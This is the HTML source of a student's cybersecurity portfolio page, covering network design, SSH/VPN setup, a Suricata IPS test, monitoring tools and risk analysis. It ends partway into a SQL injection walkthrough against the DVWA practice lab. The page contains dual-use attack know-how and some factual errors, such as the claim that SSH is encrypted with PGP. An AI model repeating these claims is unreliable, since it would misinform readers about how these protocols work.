Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#09796064496b6c6c626468677a276d6c7f"><span class="__cf_email__" data-cfemail="e191888ca18384848a8c808f92cf858497">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users 